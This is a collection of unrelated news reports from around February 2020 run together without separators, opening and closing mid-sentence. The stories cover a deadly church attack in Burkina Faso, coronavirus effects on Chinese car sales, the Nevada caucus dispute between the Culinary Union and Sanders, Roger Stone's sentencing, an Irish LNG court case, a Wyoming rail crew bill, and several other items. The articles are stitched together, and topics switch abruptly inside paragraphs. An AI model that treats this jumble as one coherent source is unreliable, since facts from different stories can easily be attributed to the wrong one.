Sunday service. Regional governor Col Salfo Kabore told the AFP news agency that "armed terrorists attacked the peaceful local population after having identified them and separated them from non-residents". "The provisional toll is 24 killed, including the pastor ... 18 wounded and individuals who were kidnapped," Kabore added. Dr Olav Fykse Tveit, general secretary of the World Council of Churches, has condemned the attack. "I am profoundly sad that people who are gathered to worship suffer from such a senseless act of hate," he said. "These acts of violence are attacks on our one human family and we must continue to work together for justice and peace." Christians are being increasingly targeted by Islamist militants in an insurgency that has killed hundreds of civilians. In a recent Human Rights Watch report, witnesses in the country said that attackers are seeking to justify the killings by linking victims to the government, the West or Christian beliefs. It has called the violence against Christians and other civilians "war crimes" and is calling on the government to scale up its efforts to end the bloodshed. "Armed Islamist groups in Burkina Faso have attacked civilians with unmitigated cruelty and utter disregard for human life," said Corinne Dufka, HRW's West Africa director. "Deliberately targeting farmers, worshippers, mine workers, displaced people and traders are war crimes." More on this topic: After deadly church attack, evangelical leader in Burkina Faso says only love, not revenge can bring peace Islamic extremists tell Christians to convert or leave Christians in danger of 'elimination' in Burkina Faso, warns Church leader With the death toll from the coronavirus now surpassing 2,230, and nearly 900 new cases of infection in China as of yesterday, businesses are reeling, and one of the worst-hit aside from the global tourism industry may end up being the auto industry. On Thursday, Reuters reported a 92 percent plunge (based on annual numbers) of passenger car retail sales in China in the first half of February. Based on the first 16 days of the month, China had registered 4,909 passenger vehicle sales, compared to nearly 60,000 in the same period last year, based on Chinese official data. Its hard to sell cars when dealerships are largely closed in Hubei province, the origin of the viral outbreak and Chinas industrial heartland, and many factories have been shut down entirely. On Friday, plants were ordered to delay restarts in certain areas near coronavirus outbreaks. Beyond that, the problems compound, with major shortages and supply-chain disruptions for plants that are attempting to restart production. Nor is it just in Hubei, either. The disruptions have had a major ripple effect. Toyota is gradually restarting production at all of its vehicle assembly plants in China. Partial production at some plants re-started this week, and by next week all plants should have resumed at least partial operations. Related: BHP Takes The Crown As Worlds Top Copper Miner Nissans plants in four areas will remain closed, with no date set for reopening at this time. Honda has so far said its operations in Wuhan (where the outbreak started) will remain shuttered until March 11th. Daimler has relaunched in Beijing, but warns about major supply chain issues, while GM and Fiat Chrysler have also resumed operations. Even if the coronavirus is contained by April, the Chinese auto market is set to see a 10 percent loss of sales for H1 2020, Chinas Association of Automobile Manufacturers (CAAM) told Reuters last week. Ford and GM, in particular, were already faring poorly in China prior to the coronavirus outbreak. GMs 2019 sales fell over 15 percent, while Ford and its China JVs shed over 26 percent in sales last year, with a $771-million operating loss in China. East Lansing, Michigan-based Anderson Economic Group told the Detroit Free Press that GM, Volkswagen, Honda, Tesla and Hyundai-Kia were the automakers expected to be most affected by the coronavirus outbreak in China. But the biggest impact was expected to be on GM, which sells more cars in China than it does in the United States. Related: Iran's Space Program Hits Another Snag "GM's workforce production and earnings in China will be negatively affected," Anderson Economic Group CEO Patrick Anderson told the Free Press. "GM is trying hard under difficult circumstances. However, even GM cannot avoid entirely the fallout from this epidemic." The only upside for the industry in this story is for the EV sector, considering the potential for Beijing to extend subsidies for purchases beyond 2020 in order to breathe new life into sales, according to Bloomberg, citing people familiar with the matter. Talks to that end are still only preliminary. By Michael Kern for Oilprice.com More Top Reads From Safehaven.com: Before the leading Democratic contenders showed up for Wednesdays presidential debate in Las Vegas, the majority of them made a point of going by the Palms Casino Resort, where the powerful Culinary Union Local 226 was holding a picket. The unionwhich boasts 60,000 members and calls itself the largest immigrant group in the state, and which was the first union in the nation to endorse Barack Obama in 2008had declined to endorse a candidate, but that just meant the would-be nominees were trying to cultivate the workers goodwill as Saturdays Nevada caucuses closed in. Advertisement With cumbersome press entourages following each candidate, the picketing soon got physically awkward. Sen. Elizabeth Warren was the first on the scene, and her arrival led the union members to fall out of their looped marching pattern and start trailing after her en masse, in one single direction. Harried organizers had to steer them back into formation: Come on, this way! Advertisement Advertisement Advertisement The others each brought their own form of entropy. For Pete Buttigieg, the back of the line simply stopped moving, waiting for the former South Bend mayor to make his arrival. Former vice president Joe Biden and his large media contingent started walking in the wrong direction, against the loop, causing a minor traffic jam. Billionaire Tom Steyer, whod missed qualifying for the debate, marched halfway around the loop and made his exit by simply cutting through the formation. And by the time Sen. Amy Klobuchar was making the circuit, union leaders were calling for the picketers to drop out of line and come take in speeches from Local 226 officials. Advertisement Advertisement The only missing candidates were former New York mayor Michael Bloomberg, whose self-funded megadollar ad-blitz campaign isnt on the ballot in Nevada, and the national polling frontrunner, Sen. Bernie Sanders, whod received the unions anti-endorsement, in the form of a memo warning Local 226 members that his Medicare for All plan would confiscate their current, collectively bargained healthcare benefits. But as the picketing difficulties suggested, being against Sanders is not the same thing as having an alternative plan. The union, like the Democratic Party establishment, has not identified someone to get behinda difficulty that carried through the debate, when a handful of candidates had strong nights beating up Bloomberg but none of them emerged as a clear No. 2 to Sanders. Advertisement Advertisement In Nevada, where Sanders lead has skyrocketed in recent days following a virtual tie for the win in Iowa and a clear-cut victory in New Hampshire, the Vermont senator seems poised to take advantage of the divided field and remain on a slow but steady trajectory to the nomination. That doesnt mean that the culinary union isnt keeping up a blistering critique of Sanders, or that the other candidates arent trying to join in. Geoconda Arguello-Kline, secretary-treasurer for the Culinary Union, has been telling everyone who will listen that she and the unions director of communications, Bethany Khan, have continued to face harassment from Sanders supporters ever since Local 226 released a scorecard of Democratic candidates that said Sanders plan would End Culinary Healthcare. Advertisement Advertisement Advertisement Advertisement On Tuesday night, at a womens event at the union hall, Arguello-Kline called on Sanders to denounce these supporters in stronger terms, and for Sanders to specifically address the fact that the harassment has been targeted at two women of color instead of the president of the entire union, Ted Pappageorge. What has happened has been a terrible attack from Sen. Sanders followers to me and to Bethany Khan, the two women supporters, but not to the president, who is a white man, Arguello-Kline told her members, before Warren and Klobuchar addressed them. Arguello-Kline says she had received more than 1,000 abusive or threatening messages, from Twitter, to phone calls, to text messages, some of them telling her to leave the country. Advertisement Advertisement Advertisement Its unclear how many of these are from Bernie supporters and how many might be from bad actors entirely unconnected to Sanders, but Arguello-Kline has been adamant that Sanders supporters are responsible. You dont think he has to say, Stop attacking women of color? she told reporters. If Im the leader of this union and I see the women of color coming under attack, I would say that. Sanders initially put out a generic statement calling for supporters of all campaigns not to engage in bullying or ugly personal attacks and not acknowledging the role his own supporters might be playing in the harassment. On Tuesday, Sanders denied that his campaign workers were attacking the union leaders, again refusing to address whether his supporters might be involved. Advertisement The agenda for Wednesdays debate, which managed to skip over any real mentions of war and foreign policy, made room for discussing the hostilities between the union and the Sanders camp. Asked about it onstage, Sanders said that his own backers who are women of color face their own abuse, and he suggested that some of the attacks on culinary union officials might be from trolls. Advertisement If you want to talk to some of the women on my campaign, what you will see is the most ugly, sexist, racist attacks that areI wouldnt even describe them here, theyre so disgusting, Sanders said. And let me say something else about this, not being too paranoid. All of us remember 2016, and what we remember is efforts by Russians and others to try to interfere in our election and divide us up. Im not saying thats happening, but it would not shock me. Advertisement Advertisement Again, Sanders denied that his supporters might have attacked these union leaders: I saw some of those tweets regarding the Culinary Workers Union. I have a 30-year 100 percent pro-union voting record. Do you think I would support or anybody who supports me would be attacking union leaders? Its not thinkable. Slate asked the culinary union if it was satisfied with the response. Any woman on Twitter who is an organizer or who works in the political space is well aware of the consequences of being a target of ROSE Twitter, especially women of color, responded Khan, referencing the emoji Democratic socialists use on Twitter. The fact is that two women of color have been attacked and continue to be targets, just for voicing our opinion. We remain, to this day, under attack by folks who wish to dismiss or gaslight us. We will not be silent. Advertisement The Sanders campaign also insists that his plan would not hurt the unions. We have great respect for culinary. Bernie has great respect for culinary, Sanders campaign senior advisor Jeff Weaver told me after the debate. Bernie Sanders will not sign a bill that does not provide better benefits than folks already have and culinary workers like workers at every union in this country will see an increase in their paycheck because Medicare For All will mandate that employers who save money under a collective bargaining agreement when we move to Medicare for All has to pass those savings on to workers in the form of extra compensation. Advertisement Advertisement Advertisement Advertisement That promise is clearly not good enough for Arguello-Kline and many of her members. I will always tell the facts to the members, its their health care, she told reporters. Our health care has not been a gift. Advertisement At the Tuesday union hall event, I spoke with two women of color who said they were supporting Biden and that their top issue was health care. I love Sen. Warren. I love that shes family oriented, pro-woman, said Sheena Reid, a Biden supporter who is black. Im not so much for her universal health care because [I want to keep] my union health care. Wendy Almada, a naturalized citizen who came to the United States from Mexico when she was 11 years old, also said that she was voting for Biden because she wanted to keep my insurance and not be on Medicare. Sanders debate opponents tried to take further advantage of the union rift on Wednesday night. Buttigieg accused Sanders of being at war with the Culinary Union right here in Las Vegas, while Warren repeated a previous line that We are all responsible for our supporters and we need to step up. Advertisement The campaign for Bloomberg, who has been no friend of unions, put out a series of talking points criticizing Sanders supporters for divisive energy and even put out an ad taking on Bernie Bros. Advertisement But none of the negativity against Sanders seemed to be helping anyone else produce positive results. In the most recent RealClearPolitics Nevada polling averagemostly taken before the debatehe was in a commanding 14-point lead with 30 percent of the vote and with five other candidates sharing between 10 and 16 percent of the vote each and nobody pulling away. And with more than 70,000 early caucus votes having already been cast in Nevada prior to Wednesdays debate, it may be too late for anyone to catch up to Sanders, however the debate performances ultimately land. Stone was convicted in November, 2019, on all seven counts of an indictment that accused him of lying to the Congress, tampering with a witness and obstructing the House investigation into whether the Trump campaign coordinated with Russia to tip the 2016 election. Washington: Roger Stone, a longtime confidant of President Donald Trump, was sentenced to more than three years in prison on Thursday for obstructing a congressional investigation in a case that has sparked fears about presidential interference in the justice system. Soon after Judge Amy Berman Jackson pronounced sentence, Trump publicly decried Stone's conviction as "unfair" and prominent Republican legislators were giving tacit support for a pardon. But Trump said he wasn't ready to act just yet. "I want the process to play out. I think thats the best thing to do because I would love to see Roger exonerated," he said, adding that he will pay close attention to the process. The case was marked by the Justice Department's extraordinary about-face on a sentencing recommendation and a very public dispute between Trump and Attorney General William Barr, who said the president was undermining the department's historical independence and making "it impossible for me to do my job. The president responded by asserting that he was the "chief law enforcement officer of the federal government. Stone was convicted in November, 2019, on all seven counts of an indictment that accused him of lying to the Congress, tampering with a witness and obstructing the House investigation into whether the Trump campaign coordinated with Russia to tip the 2016 election. He was the sixth Trump aide or adviser to be convicted on charges brought as part of special counsel Robert Muellers investigation into possible Russian interference in the 2016 election. During the sentencing on Thursday, Jackson grilled federal prosecutor John Crabb on the department's decision to replace a tough sentencing recommendation for Stone with a more lenient one, which had prompted the original prosecution team to quit the case. Trump had called the original recommendation of seven to nine years a "miscarriage of justice." Jackson pointedly told Crabb that he might know less about the case than anyone in the room. She said the evidence clearly showed that Stone testified falsely to Congress and repeatedly pressured a potential witness to either back up his lie or refuse to testify. Near the end, Jacksons voice rose in anger as she said that Stone's entire defense strategy seemed to amount to "So What" Stone did not testify and called no witnesses on his behalf. "This is NOT campaign hijinks. This was not Roger being Roger. You lied to Congress," she told Stone. "The dismay and disgust at the defendants actions in our polarized climate should transcend (political) parties." She sentenced Stone to 40 months in prison, plus two years' probation and a $20,000 fine. Stone remained largely expressionless throughout the proceedings. As he left the Washington DC, courthouse and got into a black SUV without speaking to reporters, crowds of protesters engaged in dueling chants of "Pardon Roger Stone!" and 'Lock him up!" His attorney Bruce Rogow said Stone and his team would have no comment. The judge delayed execution of his sentence while she considers Stone's motion for a new trial. Even before Trump said he would hold off a decision on a pardon, Republican and Democratic legislators were staking out positions on one. Democratic House Intelligence Chairman Adam Schiff of California tweeted after the sentencing that "to pardon Stone when his crimes were committed to protect Trump would be a breathtaking act of corruption." But Sen. Lindsey Graham, R-SC, a staunch Trump ally, signaled early support for such a move, tweeting that Trump has "all the legal authority in the world" to pardon Stone if he chooses. The sentencing came amid Trump's unrelenting defense of his longtime confidant. The president has repeatedly maintained that the jury was tainted against him and his allies. Prosecutor Crabb asked the judge to impose a substantial period of incarceration. Stone's attorney Seth Ginsberg repeated the defense team's plea that Stone get no prison time. Stone declined to address the court. While clearly displeased with the mixed messages from the Justice Department, Jackson said she agreed that the initial sentencing recommendation was too harsh. The evidence presented at Stone's trial didnt directly address Muellers conclusion that there was insufficient evidence to prove a criminal conspiracy between the Trump campaign and Russia to tip the outcome of the 2016 presidential election. But it provided new insight into the scramble inside the Trump campaign when it was revealed in July 2016 that the anti-secrecy site WikiLeaks was in possession of more than 19,000 emails hacked from the servers of the Democratic National Committee.U.S. intelligence agencies have said Russia was the source of the hacked material. Witnesses testified that Trumps campaign viewed Stone as an access point to WikiLeaks and tried to use him to get advance word about hacked emails damaging to Hillary Clinton. Prosecutors argued that Stone had lied to Congress about his conversations about WikiLeaks with New York radio host and comedian Randy Credico. During the 2016 campaign, Stone mentioned in interviews and public appearances that he was in contact with founder Julian Assange through a trusted intermediary and hinted at inside knowledge of WikiLeaks plans. Testimony revealed that Stone, while appearing before the House Intelligence Committee, named Credico as his intermediary to Assange and pressured Credico not to contradict him. After Credico was contacted by Congress, he reached out to Stone, who told him he should stonewall it and plead the fifth, he testified. Credico also testified during Stones trial that Stone repeatedly told him to do a Frank Pentangeli, a reference to a character in The Godfather: Part II who lies before Congress. Prosecutors also charged that Stone had threatened Credicos therapy dog, Bianca, saying he was going to take that dog away from you. FRIENDS of the Irish Environment are jubilant this week, after they have won High Court leave to challenge the decision to designate the proposed Shannon LNG project as a Project of Common Interest (PCI). The High Court case which will now be taken by the Friends of the Irish Environment will argue that both Ireland and the EU failed to do the independent, sustainability, climate and cost-benefit analysis required under the legislation. They also cite a letter from Ditte Juul Jrgensen, EU Director General for Energy, where he states that the available data were not sufficient to consider sustainability in a meaningful manner in the selection process. And the environmental group also points out Ireland itself has questioned if the implications of importing LNG have been examined in terms of a sustainable, secure and competitive European energy policy and if not that should be undertaken. Last November, despite pressure from environmental groups and from MEPS from the Green Party, Sinn Fein, Luke Ming Flanagan, Mick Wallace and Clare Daly, the Irish government refused to change its position and withdraw the proposed PCI designation for Shannon LNG. Fine Gael MEP Sean Kelly, who supports the PCI designation, argued it was necessary for energy security. When it came to be voted on in the European Parliament last week, a majority of MEPS supported the designation, just a day before the Friends of the Irish Environment were given leave in the High Court to challenge the designation. The decision to designate the Shannon LNG proposal as a PCI without the necessary assessment and consultations breached citizens natural and constitution rights, Tony Lowes, director of Friends of the Environment said, after the High Court hearing. Mr Lowes, in a statement continued: High Court Justice Dennis McDonald said today that the case was well made and in time, praising the clarity of the pleadings. He ordered that the European Commission be notified as a courtesy, although they are not Notice Parties. It is an important part of our case that there should be a way for people to be able to challenge these decisions in the European Court. It has to be done in the European Court but we can only go to our national courts, Mr Lowes added. PCI projects are eligible for EU subsidies, but also for fast-track planning permission which could override environmental concerns. There is already another case involving Shannon LNG already pending before the European Court of Justice and that is the decision to extend planning permission for Shannon LNG for a further five years. That decision is not expected for another year. CHEYENNE After several hours of testimony Thursday night, the House Committee on Transportation, Highways and Military Affairs sided with railroad workers in an upcoming bargaining dispute with railroad management over minimum crew sizes on trains, voting 7-2 to send the bill to the House of Representatives. Sponsored by Rep. Stan Blake, D-Green River a railroad worker himself House Bill 79 would enforce a mandatory crew size of two members on all class one trains running in Wyoming, a provision specifically targeted at rail giants like Union Pacific and Burlington Northern Santa Fe. The decision to advance the bill, despite the wide margin of support on paper, came with reluctance by some committee members, who saw their decision as wading into matters between private business and their workers. The issue of crew sizes is anticipated to be a major aspect of upcoming labor negotiations between the rail unions and management, who in an age of increasing automation believe it possible to reduce crew sizes to just one person in some cases, relying on a roving conductor in a vehicle to address any problems that might occur on the job. However, numerous railroad employees who testified Thursday argued that the changes do not reflect the realities of railroading. Train engineers, one man testified, cannot leave the cab unattended, meaning that without a conductor to address issues like a loose hose the trains could potentially be stranded for hours if an issue arises, blocking roads and interrupting commerce, prompting one Cheyenne firefighter to say he felt the bill was crucial for the state of Wyoming. Others, like Rawlins railroad worker Andrew Nice, questioned what would happen if a crew member had a medical emergency, while others pondered the wisdom of not having some redundancy in the crew to ensure their partner doesnt fall asleep on the job. That problem particularly in bad weather cannot be solved by a roving conductor in a pickup truck. I dont care what they say about technology, John Boehner, a Union Pacific employee since 1977, told committee members. They cannot replace that. Numerous railroad workers Blake included argued that the bill was first and foremost a safety bill. But Cindy Delancey, the president of the Wyoming Business Alliance, called the legislation a barrier to business, arguing to members of the committee that it sets a precedent of the Legislature making labor decisions on behalf of private industries for the sake of hypothetical safety concerns. On top of concerns the bill could potentially leave the state vulnerable to litigation, she argued that the price sensitivities seen in the states mineral industry and an imperative for logistics companies to cut costs in order to keep prices low could potentially have an impact on consumers as well. We all want our friends and loved ones to come home and sound, she said in her testimony. Accidents and injuries are bad for business. This is a labor bill, she added. Not a safety bill. Deciding whether the bill was one or the other was a challenge for most committee members. I believe in safety; we all do, said Rep. Bunky Loucks, R-Casper, a reluctant aye vote on the bill. But I just dont believe its the states business to get in the middle of this. Love 10 Funny 0 Wow 3 Sad 1 Angry 8 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Colorado (US): US President Donald Trump on Thursday said India has been hitting us hard with tariffs for many, many years, even as he expressed his fondness for Prime Minister Narendra Modi. Addressing a rally in Colorado, Trump kept up his tirade about Indias unfair treatment but added that new trade deals will likely be done. Great new trade deals will likely be done. I am going to India next week. They have been hitting us hard for many, many years but I really like Prime Minister Modi. We'll talk a little business. They give us tariffs, one of the highest in the world. But I hear they are going to have 10 million people showing up along one of the largest stadiums in the world, Trump said. The US President sought to draw a comparison between the crowds at US and India and said: "But you know what the only problem in doing that Prime Minister Modi said we will have a packed house. We have thousands of people who couldn't get in. It's going to look peanuts from now on. I have never been saddened by the crowd, but when we have 10 million people in India how can everyone be satisfied with a 60,000 seat stadium. Ministry of External Affairs (MEA) spokesperson Raveesh Kumar, while answering a question on India-US trade deal during the weekly press briefing on Thursday, said India has been engaging with the US for quite some time and we do hope to reach an understanding with an outcome that strikes the right balance for both sides. The US President will be arriving on his first official tour to India on February 24 for a two-day visit. He will attend an event at the Motera Stadium in Ahmedabad, named 'Namaste Trump,' on the lines of the 'Howdy Modi' that was addressed by the US President and Modi in Houston in September last year. According to Pew Research Centre, a Washington-based think tank, Trump's image in India has gained favour since his candidacy in 2016, jumping from 14 per cent confidence to 56 per cent over three years. However, when asked about their views of Trump's policy on increasing tariffs or fees on imported goods from other countries, nearly 48 per cent of Indians said they disapproved the following. In the past year, Washington has expanded aluminium and steel tariffs and also stripped New Delhi of its preferential trading partner status under the US Generalized System of Preferences (GSP) that provided better access to American markets and better tariff rates for Indian exporters. As pneumonia caused by the novel coronavirus casts a shadow over China, both the consulates of South Korea and France in Wuhan, the epicenter of the novel coronavirus outbreak, remain in the city conducting operations and are making efforts to overcome the difficult time together with it. Kang Seung-seok, the new consul general of South Korea in Wuhan, arrives in the city. (Photo/People's Daily Online) On Feb. 20, Kang Seung-seok, the new consul general of South Korea in Wuhan, arrived in the city by means of a temporary cargo plane, bringing to Wuhan a large number of relief supplies donated by local governments, enterprises and various sectors of South Korea. It was meaningful that the South Korean government sent him to Wuhan at this time of hardship, Kang told reporters during an interview. South Korea enjoys close ties with China, especially Wuhan in Chinas Hubei province, said Kang, adding that this year marks the 28th anniversary of the establishment of diplomatic relations between China and South Korea furthermore stating that South Korea has always attached great importance to their bilateral ties. South Korea and China are close neighbors, and helping ones neighbor is helping itself, South Korean President Moon Jae-in said recently, stressing that South Korea is ready to continue actively supporting China in its efforts to fight against the epidemic. Olivier Guyonvarch, consul general for France in Wuhan (Photo/China Daily) Besides South Korea, the French Consulate General in Wuhan has also touched the hearts of the Chinese people. It has kept operating throughout the ongoing crisis despite the epidemic. The consulate is the only consulate in Wuhan that is still operating. "I'm a citizen of Wuhan. Im always with you, Wuhan," Olivier Guyonvarch, consul general for France in Wuhan, said on WeChat Moments. France was the first country to set up a consulate general in Wuhan since the founding of the Peoples Republic of China, Guyonvarch told media, saying that France and Wuhan, as well as the people of the city, have very close relations. The reason why the consulate is still operating is that it wants to tide over the difficulties together with Wuhan, as they are like family, said Guyonvarch. The French consulate in Wuhan is still operating, with which France would like to testify to the true friendship between the two countries, and France would like to stay in solidarity with China during these rough times, said French Foreign Minister Jean-Yves Le Drian, who noted that France will not adopt or tolerate any discriminatory measures and will continue dealing with the matter calmly and rationally. China and France have enjoyed a profound friendship. France has always stood by the Chinese people at times when the latter have been in their most difficult times. In 2003 when the severe acute respiratory syndrome (SARS) hit China, Jean-Pierre Raffarin, then Prime Minister of France, resolutely led a delegation to China as scheduled. On Feb.11, 2020, Raffarin posted a video on WeChat, expressing strong support for Wuhan and China. China is not alone in its battle against the novel coronavirus. Since the outbreak of the epidemic, China has gained wide support and understanding from various countries around the world. So far, more than 160 leaders of countries and over 30 chiefs of international organizations have made calls or sent letters to voice firm support for China. Such strong support for China in its efforts to fight the epidemic has vividly embodied and demonstrated the concept of a community with a shared future for humanity. As spokesperson of Chinas Ministry of Foreign Affairs Geng Shuang said, "after the epidemic, history will remember not only the Chinese peoples courage, arduous struggle and concerted efforts, but also the spirit of countries tiding over the difficulties hand in hand. An Instagram model has had a stand-off with a stubborn 'nanna' who refused to move their car. Jes Pawley posted a video to her Instagram story on Thursday showing her car blocked off on a narrow street in Adelaide by an elderly female driver. The South Australian model was stuck behind the woman's white sedan with a parked car to her right, before the elderly driver demanded she get out of her way. South Australian model Jes Pawley posted an Instagram story of a stand-off with a driver on Thursday Ms Pawley filmed the elderly driver blocking off the road on a narrow street in Adelaide The driver had ample room to move her car backwards to let Ms Pawley through, but pressured Ms Pawley to move. 'Are you joking? She has room to reverse?' Ms Pawley said in the video. The elderly woman then got out of her car and approached Ms Pawley's driver-side door. 'You need to reverse!' Ms Pawley pleaded. 'Why can't you just reverse?' The driver glared through the driver's side window and said 'move your car back so that I can get through' The woman retaliated and tried to open the car door, which was locked, and glared through the window at Ms Pawley. 'Move your car back so that I can get through!' she said. The driver then stormed back to her vehicle as Ms Pawley and a friend gasped at her bizarre demand. 'Oh my God, is she sick?' Ms Pawley said. Ms Pawley's video was reposted by popular South Australian meme page @s**tadelaide 'She can give way to me and we are going this way.' The video was reposted by popular South Australian meme page @s**tadelaide. 'Anyone lost there angry Nanna?' Ms Pawley captioned the video. 'Adelaide drivers don't know how to give way.' Or, take the case of unaccompanied migrant minors in the care of the Department of Health and Human Services. For years, they have been provided with services, including counseling by therapists who adhered to their professions customary practice of confidentiality. Now, as detailed by The Posts Hannah Dreier, those assurances of confidentiality are a quaint formality, swapped out for a new regime under which notes taken in therapy are routinely passed along to immigration officials who use them against minors in deportation hearings. Thus has the Trump administration weaponized counseling, transforming therapists into government informers. The biggest highlight of Environmental Day at the Capitol on Jan. 5 was the number of students who attended. They were mostly high schoolers from Tucson, Phoenix, Flagstaff and other places as well. They were there because they have an interest in how our state government works, and because they have questions for our lawmakers concerning the environment. One of the features of Environmental Day is for our politicians to make themselves available to the people to discuss their concerns. The biggest disappointment of Environmental Day was the lack of interest shown by some of our politicians. One group of students from Flagstaff had requested time with Senator Sylvia Allen, Representative Walter Blackman, and Representative Bob Thorpe. Allen had already turned them down in the past, so they didnt expect much from her, but Blackman and Thorpe, who both represent Flagstaff, agreed to meet with them. The students waited... and waited, but both Blackman and Thorpe were no-shows, and of course Allen as well. State Senator Juan Mendez from District 26 did show up however. Not only did he show up, but he spent almost an hour with these students from Flagstaff, listening to what they had to say, and answering their questions, and he wasnt even from their district. There is no question that these politicians are busy, but wouldnt it have been decent to let these young citizens know they couldnt, or wouldnt keep their appointment with them? Representative Thorpe even walked through the event outside the Capitol, but never stopped to engage them. Wouldnt it have been decent to at least send someone in their place? But to ignore their own constituents is disappointing, disgusting and disturbing, and no way to treat future voters. WAYNE PEARCE Show Low Love 0 Funny 4 Wow 0 Sad 0 Angry 2 Mayank Singh By Express News Service NEW DELHI: Lt Governor of Ladakh Radha Krishna Mathur met Lt General Harpal Singh, Director General Border Roads and the senior officers of the Border Roads Organisation (BRO) at the BRO Headquarters in Delhi on Friday and discussed the critical projects which are underway in the Ladakh region. The BRO in its press release said, "The Chief Engineer Project Himank and Chief Engineer Project Vijayak both presented an overview of their respective Area of Responsibility (AoR). They also gave recommendations for future projects which could help in mitigating the road connectivity issues of the region." BRO's projects Himank and Vijayak are responsible for construction and maintenance of critical road infrastructure in Ladakh. The Lt Governor was also apprised about the challenges faced by the BRO due to the high altitude terrain of work area and long supply chain, as well as the requirement for additional equipments, proper identification of avalanche prone stretches, etc. Measures such as change in alignment of roads, conducive clothing for labourers and timely and accurate forecasts by Snow and Avalanche Study Establishment (SASE) were recommended as measures to deal with these challenges. Director of SASE also briefed Lt Governor about the work being done regarding forecast of snow, identification of avalanche sites and the close co-ordination between BRO and SASE for undertaking snow clearance and construction of avalanche protection structures. Sources informed that there has been improvement in the land acquisition proposals due to timely intervention and support of the LG. "LG RK Mathur stressed that the opening of Shinkula pass and Zojila tunnel are of the highest priority to help provide round year access to the region," said BRO. While the avalanche-prone 16,700 ft high Shinkula pass connects the Lahaul valley in Himachal to Zanskar in Jammu and Kashmir and the tunnel under the 11,575- feet high Zojila pass connecting Srinagar and Leh will provide all-weather connectivity to the Kargil and Leh sectors. BRO has completed the strategically important 255-km Darbuk-Shayok-Daulat Beg Oldie (DSDBO) section of the road between Leh and Karakoram (KK) Pass which ends at 16,614 ft high DBO, about 20 km short of the 18,700 ft high KK Pass. India share 826 km long Line of Actual Control with China in the eastern Ladakh. Millions worldwide may have seen the desert fortress in the hit fantasy series Game of Thrones, but fewer know they can visit the Moroccan village of Ait-Ben-Haddou. The fortified old settlement at the foot of the majestic Atlas mountains enchanted audiences in the HBO series and also served as a dusty backdrop in Ridley Scotts epic swords-and-sandals film Gladiator. But unlike other famous locations from movie and television history, this UNESCO World Heritage Site has so far missed out on a mass influx of tourism -- something some of its inhabitants are eager to change. Several people have told me that they came here to see the filming location of Game of Thrones, said Ahmed Baabouz, a local tour guide. There is tourism linked to cinema here but frankly we have not developed it to the extent it could be. Ait-Ben-Haddou is southern Moroccos most famous fortress. Time seems to have stopped at the site overlooking a valley some 30 kilometres (18.6 miles) from the town of Ouarzazate. After passing through the imposing entrance way, visitors navigate a labyrinth of winding alleys that eventually lead onto a public square where the settlements inhabitants once gathered. There is a mosque and two cemeteries -- one for Muslims and one for Jews. Most inhabitants have long since departed though, with a few homes converted into stalls selling handicrafts. The fortress is an ideal film setting, located a short distance from the studios of Ouarzazate, the Mecca of Moroccan cinema. Productions ranging from Lawrence of Arabia to The Mummy have been filmed here. More recently, scenes from the cult series Game of Thrones were shot at Ait-Ben-Haddou, with the site standing in for the fictional Yellow City of Yunkai which is conquered by Daenerys Targaryen, a key character in the GOT universe. Hammadi, 61, is a privileged witness to the locations cinematic history. All of these productions have contributed to the reputation of the region, he said, grinning widely. Hammadi himself has appeared as an extra in a number of films. And while like most people he lives in a more modern home in a village on the other side of the valley, he continues to return to Ait-Ben-Haddou to welcome tourists. -House of the Dragon - On a wall at the entrance to Hammadis former home, photos bear witness to the projects he has worked on. One shows him dressed as an ancient Roman with director Ridley Scott on the set of Gladiator. We have a very rich cinematic heritage that we hope to use to attract tourists, said tour guide Baabouz, who is 29. But nothing indicates that Game of Thrones was shot here, he added. On Moroccos Atlantic coast, the city of Essaouira also formed the backdrop to scenes from the series. But there too, Moroccan tourism promoters are yet to capitalise on the connection. In comparison, Northern Ireland, Malta and Dubrovnik in Croatia have attracted hordes of fans from around the world, drawn by their links to the franchise. To remedy this, Baabouz and other young people in the village are pooling their limited resources towards an ambitious project: a museum in the fortress, gathering photography from the productions that have been filmed here. US channel HBO has commissioned a prequel to GOT, called House of the Dragon. George R.R. Martin, the author of the books on which the series is based, wrote on his blog that shooting would also take place in Morocco. (This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed.) Follow more stories on Facebook and Twitter The 2020 Mel Bedwell Award luncheon, slated for Monday, May 11 at the Museum Center at 5ive Points, will recognize the 27th Small Businessperson of the year award recipient. The annual awards luncheon will also kick off a month-long focus on the contributions of small business to the economic well-being of Cleveland/Bradley County.The Small Business Committee of the Cleveland/Bradley Chamber of Commerce presents this annual recognition event. Highlighting the luncheon is recognition of an outstanding small business person in the community, recognized for his/her success in six areas: staying power, growth in number of employees, increase in sales, innovativeness of product or service offered, response to adversity and evidence of contributions to the community.The Chambers board of directors renamed the Small Business Person of the Year Award in 1998 to honor the memory of Mel Bedwell, who was known for his energy, determination, ingenuity, honesty, enthusiasm and loyaltyall traits necessary for a successful small business owner.Mr. Bedwell was an owner with Jack Smith of Cleveland Business Machines.Nomination forms for this award are available on the Downloadable Forms page of the Chambers website at www.clevelandchamber.com or email Bernadette Douglas with the Chamber at BDouglas@ClevelandChamber.com. All nominations are due by Friday, April 10. MANILA, Philippines The Philippine Institute of Volcanology and Seismology (PHIVOLCS) reported only about 29 volcanic earthquakes around Taal Volcano in the past 24 hours, an indication that rocks underground are breaking. A column of white steam also continues to form but only up to 50 meters in height. It has been a week since PHIVOLCS downgraded alert level over the Taal volcano to level 2 from the previous level 3. According to PHIVOLCS OIC Usec. Renato Solidum, they need to observe Taal volcanos activities for one more week before they can decide whether to further downgrade the alert status based on the agencys standard operating procedure. Basta tuloy-tuloy ang kanyang mga parametro na bumababa ang bilang pwede natin masabi na pwede nating ibaba ito sa alert level number one (If the parameters continue to reduce in number, we might lower the alert level to number one), Solidum said. Entry restrictions remain within the permanent danger zone in Taal Volcano Island. Solidum said the local government unit needs to assess first if the former residential areas would be conducive for living. PHIVOLCS does not recommended constructing houses on the volcano island due to the risk of having the ground break apart should the volcano proceed to erupt. MNP (with details from Rey Pelayo) The post PHIVOLCS may further downgrade alert level over Taal Volcano next week appeared first on UNTV News. Lori Vallow, the mother of two missing children from Idaho, has been spotted on the Valley Isle after spending time in Kauai with her new husband Chad Daybell. According to Hawaii News Now and East Idaho News, she has been spotted on a plane with Daybell on Sunday, traveling from Kauai to Maui. East Idaho News also reported that the couple has been seen living in a gated community, checking in at some resorts, and riding 